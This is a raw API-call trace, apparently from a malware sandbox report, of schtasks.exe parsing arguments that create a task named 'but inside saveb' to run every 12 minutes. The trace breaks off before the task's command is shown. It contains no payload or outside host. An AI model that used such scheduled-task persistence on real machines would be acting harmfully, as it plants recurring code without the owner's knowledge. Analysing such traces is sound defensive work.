_BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.928] lstrlenW (lpString="|sc|") returned 4 [0132.928] lstrlenW (lpString="|tn|") returned 4 [0132.928] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0132.928] SetLastError (dwErrCode=0x490) [0132.928] lstrlenW (lpString="mo") returned 2 [0132.928] lstrlenW (lpString="mo") returned 2 [0132.928] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.928] lstrlenW (lpString="tn") returned 2 [0132.928] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.928] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.928] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.928] lstrlenW (lpString="|mo|") returned 4 [0132.928] lstrlenW (lpString="|tn|") returned 4 [0132.928] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0132.928] SetLastError (dwErrCode=0x490) [0132.928] lstrlenW (lpString="d") returned 1 [0132.929] lstrlenW (lpString="d") returned 1 [0132.929] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.929] lstrlenW (lpString="tn") returned 2 [0132.929] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.929] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|d|") returned 3 [0132.929] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.929] lstrlenW (lpString="|d|") returned 3 [0132.929] lstrlenW (lpString="|tn|") returned 4 [0132.929] SetLastError (dwErrCode=0x490) [0132.929] lstrlenW (lpString="m") returned 1 [0132.929] lstrlenW (lpString="m") returned 1 [0132.929] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.929] lstrlenW (lpString="tn") returned 2 [0132.929] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.929] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|m|") returned 3 [0132.929] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.929] lstrlenW (lpString="|m|") returned 3 [0132.929] lstrlenW (lpString="|tn|") returned 4 [0132.929] SetLastError (dwErrCode=0x490) [0132.929] lstrlenW (lpString="i") returned 1 [0132.929] lstrlenW (lpString="i") returned 1 [0132.929] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.929] lstrlenW (lpString="tn") returned 2 [0132.929] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.929] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|i|") returned 3 [0132.930] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.930] lstrlenW (lpString="|i|") returned 3 [0132.930] lstrlenW (lpString="|tn|") returned 4 [0132.930] SetLastError (dwErrCode=0x490) [0132.930] lstrlenW (lpString="tn") returned 2 [0132.930] lstrlenW (lpString="tn") returned 2 [0132.930] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.930] lstrlenW (lpString="tn") returned 2 [0132.930] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.930] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.930] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.930] lstrlenW (lpString="|tn|") returned 4 [0132.930] lstrlenW (lpString="|tn|") returned 4 [0132.930] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0132.930] SetLastError (dwErrCode=0x0) [0132.930] SetLastError (dwErrCode=0x0) [0132.930] lstrlenW (lpString="but inside saveb") returned 16 [0132.930] lstrlenW (lpString="-/") returned 2 [0132.930] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0132.930] SetLastError (dwErrCode=0x490) [0132.930] SetLastError (dwErrCode=0x490) [0132.930] SetLastError (dwErrCode=0x0) [0132.930] lstrlenW (lpString="but inside saveb") returned 16 [0132.930] StrChrIW (lpStart="but inside saveb", wMatch=0x3a) returned 0x0 [0132.930] SetLastError (dwErrCode=0x490) [0132.930] SetLastError (dwErrCode=0x0) [0132.930] lstrlenW (lpString="but inside saveb") returned 16 [0132.930] SetLastError (dwErrCode=0x0) [0132.931] SetLastError (dwErrCode=0x0) [0132.931] lstrlenW (lpString="/sc") returned 3 [0132.931] lstrlenW (lpString="-/") returned 2 [0132.931] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.931] lstrlenW (lpString="create") returned 6 [0132.931] lstrlenW (lpString="create") returned 6 [0132.931] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.931] lstrlenW (lpString="sc") returned 2 [0132.931] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.931] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|create|") returned 8 [0132.931] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.931] lstrlenW (lpString="|create|") returned 8 [0132.931] lstrlenW (lpString="|sc|") returned 4 [0132.931] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0132.931] SetLastError (dwErrCode=0x490) [0132.931] lstrlenW (lpString="?") returned 1 [0132.931] lstrlenW (lpString="?") returned 1 [0132.931] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.931] lstrlenW (lpString="sc") returned 2 [0132.931] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.931] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|?|") returned 3 [0132.931] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.931] lstrlenW (lpString="|?|") returned 3 [0132.931] lstrlenW (lpString="|sc|") returned 4 [0132.931] SetLastError (dwErrCode=0x490) [0132.932] lstrlenW (lpString="s") returned 1 [0132.932] lstrlenW (lpString="s") returned 1 [0132.932] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.932] lstrlenW (lpString="sc") returned 2 [0132.932] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.932] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|s|") returned 3 [0132.932] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.932] lstrlenW (lpString="|s|") returned 3 [0132.932] lstrlenW (lpString="|sc|") returned 4 [0132.932] SetLastError (dwErrCode=0x490) [0132.932] lstrlenW (lpString="u") returned 1 [0132.932] lstrlenW (lpString="u") returned 1 [0132.932] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.932] lstrlenW (lpString="sc") returned 2 [0132.932] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.932] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|u|") returned 3 [0132.932] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.932] lstrlenW (lpString="|u|") returned 3 [0132.932] lstrlenW (lpString="|sc|") returned 4 [0132.932] SetLastError (dwErrCode=0x490) [0132.932] lstrlenW (lpString="p") returned 1 [0132.932] lstrlenW (lpString="p") returned 1 [0132.932] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.932] lstrlenW (lpString="sc") returned 2 [0132.932] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.932] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|p|") returned 3 [0132.933] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.933] lstrlenW (lpString="|p|") returned 3 [0132.933] lstrlenW (lpString="|sc|") returned 4 [0132.933] SetLastError (dwErrCode=0x490) [0132.933] lstrlenW (lpString="ru") returned 2 [0132.933] lstrlenW (lpString="ru") returned 2 [0132.933] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.933] lstrlenW (lpString="sc") returned 2 [0132.933] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.933] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ru|") returned 4 [0132.933] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.933] lstrlenW (lpString="|ru|") returned 4 [0132.933] lstrlenW (lpString="|sc|") returned 4 [0132.933] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0132.933] SetLastError (dwErrCode=0x490) [0132.933] lstrlenW (lpString="rp") returned 2 [0132.933] lstrlenW (lpString="rp") returned 2 [0132.933] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.933] lstrlenW (lpString="sc") returned 2 [0132.933] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.933] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rp|") returned 4 [0132.933] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.933] lstrlenW (lpString="|rp|") returned 4 [0132.933] lstrlenW (lpString="|sc|") returned 4 [0132.933] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0132.933] SetLastError (dwErrCode=0x490) [0132.934] lstrlenW (lpString="sc") returned 2 [0132.934] lstrlenW (lpString="sc") returned 2 [0132.934] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.934] lstrlenW (lpString="sc") returned 2 [0132.934] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.934] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.934] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.934] lstrlenW (lpString="|sc|") returned 4 [0132.934] lstrlenW (lpString="|sc|") returned 4 [0132.934] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0132.934] SetLastError (dwErrCode=0x0) [0132.934] SetLastError (dwErrCode=0x0) [0132.934] lstrlenW (lpString="MINUTE") returned 6 [0132.934] lstrlenW (lpString="-/") returned 2 [0132.934] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0132.934] SetLastError (dwErrCode=0x490) [0132.934] SetLastError (dwErrCode=0x490) [0132.934] SetLastError (dwErrCode=0x0) [0132.934] lstrlenW (lpString="MINUTE") returned 6 [0132.934] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0132.934] SetLastError (dwErrCode=0x490) [0132.934] SetLastError (dwErrCode=0x0) [0132.934] GetProcessHeap () returned 0x190000 [0132.934] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1ad580 [0132.934] _memicmp (_Buf1=0x1ad580, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.934] lstrlenW (lpString="MINUTE") returned 6 [0132.934] GetProcessHeap () returned 0x190000 [0132.935] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xe) returned 0x1ad5a0 [0132.935] lstrlenW (lpString="MINUTE") returned 6 [0132.935] lstrlenW (lpString=" \x09") returned 2 [0132.935] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0132.935] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0132.935] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0132.935] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0132.935] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0132.935] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0132.935] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0132.935] GetLastError () returned 0x0 [0132.935] lstrlenW (lpString="MINUTE") returned 6 [0132.935] lstrlenW (lpString="MINUTE") returned 6 [0132.935] SetLastError (dwErrCode=0x0) [0132.935] SetLastError (dwErrCode=0x0) [0132.935] lstrlenW (lpString="/mo") returned 3 [0132.935] lstrlenW (lpString="-/") returned 2 [0132.935] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.935] lstrlenW (lpString="create") returned 6 [0132.935] lstrlenW (lpString="create") returned 6 [0132.935] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.935] lstrlenW (lpString="mo") returned 2 [0132.935] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.935] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|create|") returned 8 [0132.935] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.935] lstrlenW (lpString="|create|") returned 8 [0132.936] lstrlenW (lpString="|mo|") returned 4 [0132.936] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0132.936] SetLastError (dwErrCode=0x490) [0132.936] lstrlenW (lpString="?") returned 1 [0132.936] lstrlenW (lpString="?") returned 1 [0132.936] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.936] lstrlenW (lpString="mo") returned 2 [0132.936] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.936] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|?|") returned 3 [0132.936] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.936] lstrlenW (lpString="|?|") returned 3 [0132.936] lstrlenW (lpString="|mo|") returned 4 [0132.936] SetLastError (dwErrCode=0x490) [0132.936] lstrlenW (lpString="s") returned 1 [0132.936] lstrlenW (lpString="s") returned 1 [0132.936] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.936] lstrlenW (lpString="mo") returned 2 [0132.936] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.936] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|s|") returned 3 [0132.936] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.936] lstrlenW (lpString="|s|") returned 3 [0132.936] lstrlenW (lpString="|mo|") returned 4 [0132.936] SetLastError (dwErrCode=0x490) [0132.936] lstrlenW (lpString="u") returned 1 [0132.936] lstrlenW (lpString="u") returned 1 [0132.936] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.937] lstrlenW (lpString="mo") returned 2 [0132.937] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.937] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|u|") returned 3 [0132.937] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.937] lstrlenW (lpString="|u|") returned 3 [0132.937] lstrlenW (lpString="|mo|") returned 4 [0132.937] SetLastError (dwErrCode=0x490) [0132.937] lstrlenW (lpString="p") returned 1 [0132.937] lstrlenW (lpString="p") returned 1 [0132.937] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.937] lstrlenW (lpString="mo") returned 2 [0132.937] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.937] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|p|") returned 3 [0132.937] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.937] lstrlenW (lpString="|p|") returned 3 [0132.937] lstrlenW (lpString="|mo|") returned 4 [0132.937] SetLastError (dwErrCode=0x490) [0132.937] lstrlenW (lpString="ru") returned 2 [0132.937] lstrlenW (lpString="ru") returned 2 [0132.937] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.937] lstrlenW (lpString="mo") returned 2 [0132.937] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.937] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ru|") returned 4 [0132.937] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.937] lstrlenW (lpString="|ru|") returned 4 [0132.938] lstrlenW (lpString="|mo|") returned 4 [0132.938] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0132.938] SetLastError (dwErrCode=0x490) [0132.938] lstrlenW (lpString="rp") returned 2 [0132.938] lstrlenW (lpString="rp") returned 2 [0132.938] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.938] lstrlenW (lpString="mo") returned 2 [0132.938] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.938] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rp|") returned 4 [0132.938] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.938] lstrlenW (lpString="|rp|") returned 4 [0132.938] lstrlenW (lpString="|mo|") returned 4 [0132.938] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0132.938] SetLastError (dwErrCode=0x490) [0132.938] lstrlenW (lpString="sc") returned 2 [0132.938] lstrlenW (lpString="sc") returned 2 [0132.938] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.938] lstrlenW (lpString="mo") returned 2 [0132.938] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.938] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.938] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.938] lstrlenW (lpString="|sc|") returned 4 [0132.938] lstrlenW (lpString="|mo|") returned 4 [0132.938] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0132.938] SetLastError (dwErrCode=0x490) [0132.938] lstrlenW (lpString="mo") returned 2 [0132.939] lstrlenW (lpString="mo") returned 2 [0132.939] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.939] lstrlenW (lpString="mo") returned 2 [0132.939] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.939] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.939] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.939] lstrlenW (lpString="|mo|") returned 4 [0132.939] lstrlenW (lpString="|mo|") returned 4 [0132.939] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0132.939] SetLastError (dwErrCode=0x0) [0132.939] SetLastError (dwErrCode=0x0) [0132.939] lstrlenW (lpString="12") returned 2 [0132.939] lstrlenW (lpString="-/") returned 2 [0132.939] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0132.939] SetLastError (dwErrCode=0x490) [0132.939] SetLastError (dwErrCode=0x490) [0132.939] SetLastError (dwErrCode=0x0) [0132.939] lstrlenW (lpString="12") returned 2 [0132.939] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0132.939] SetLastError (dwErrCode=0x490) [0132.939] SetLastError (dwErrCode=0x0) [0132.939] _memicmp (_Buf1=0x1ad580, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.939] lstrlenW (lpString="12") returned 2 [0132.939] lstrlenW (lpString="12") returned 2 [0132.939] lstrlenW (lpString=" \x09") returned 2 [0132.939] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0132.940] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0132.940] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0132.940] GetLastError () returned 0x0 [0132.940] lstrlenW (lpString="12") returned 2 [0132.940] lstrlenW (lpString="12") returned 2 [0132.940] GetProcessHeap () returned 0x190000 [0132.940] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x6) returned 0x1ab9b0 [0132.940] SetLastError (dwErrCode=0x0) [0132.940] SetLastError (dwErrCode=0x0) [0132.940] lstrlenW (lpString="/tr") returned 3 [0132.940] lstrlenW (lpString="-/") returned 2 [0132.940] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.940] lstrlenW (lpString="create") returned 6 [0132.940] lstrlenW (lpString="create") returned 6 [0132.940] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.940] lstrlenW (lpString="tr") returned 2 [0132.940] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.940] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|create|") returned 8 [0132.940] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.940] lstrlenW (lpString="|create|") returned 8 [0132.940] lstrlenW (lpString="|tr|") returned 4 [0132.940] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0132.940] SetLastError (dwErrCode=0x490) [0132.940] lstrlenW (lpString="?") returned 1 [0132.940] lstrlenW (lpString="?") returned 1 [0132.940] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.941] lstrlenW (lpString="tr") returned 2 [0132.941] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.941] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|?|") returned 3 [0132.941] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.941] lstrlenW (lpString="|?|") returned 3 [0132.941] lstrlenW (lpString="|tr|") returned 4 [0132.941] SetLastError (dwErrCode=0x490) [0132.941] lstrlenW (lpString="s") returned 1 [0132.941] lstrlenW (lpString="s") returned 1 [0132.941] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.941] lstrlenW (lpString="tr") returned 2 [0132.941] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.941] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|s|") returned 3 [0132.941] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.941] lstrlenW (lpString="|s|") returned 3 [0132.941] lstrlenW (lpString="|tr|") returned 4 [0132.941] SetLastError (dwErrCode=0x490) [0132.941] lstrlenW (lpString="u") returned 1 [0132.941] lstrlenW (lpString="u") returned 1 [0132.941] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.941] lstrlenW (lpString="tr") returned 2 [0132.941] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.941] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|u|") returned 3 [0132.942] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.942] lstrlenW (lpString="|u|") returned 3 [0132.942] lstrlenW (lpString="|tr|") returned 4 [0132.942] SetLastError (dwErrCode=0x490) [0132.942] lstrlenW (lpString="p") returned 1 [0132.942] lstrlenW (lpString="p") returned 1 [0132.942] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.942] lstrlenW (lpString="tr") returned 2 [0132.942] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.942] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|p|") returned 3 [0132.942] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.942] lstrlenW (lpString="|p|") returned 3 [0132.942] lstrlenW (lpString="|tr|") returned 4 [0132.942] SetLastError (dwErrCode=0x490) [0132.942] lstrlenW (lpString="ru") returned 2 [0132.942] lstrlenW (lpString="ru") returned 2 [0132.942] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.942] lstrlenW (lpString="tr") returned 2 [0132.942] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.942] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ru|") returned 4 [0132.942] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.942] lstrlenW (lpString="|ru|") returned 4 [0132.942] lstrlenW (lpString="|tr|") returned 4 [0132.942] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0132.942] SetLastError (dwErrCode=0x490) [0132.943] lstrlenW (lpString="rp") returned 2 [0132.943] lstrlenW (lpString="rp") returned 2 [0132.943] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.943] lstrlenW (lpString="tr") returned 2 [0132.943] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.943] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rp|") returned 4 [0132.943] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", 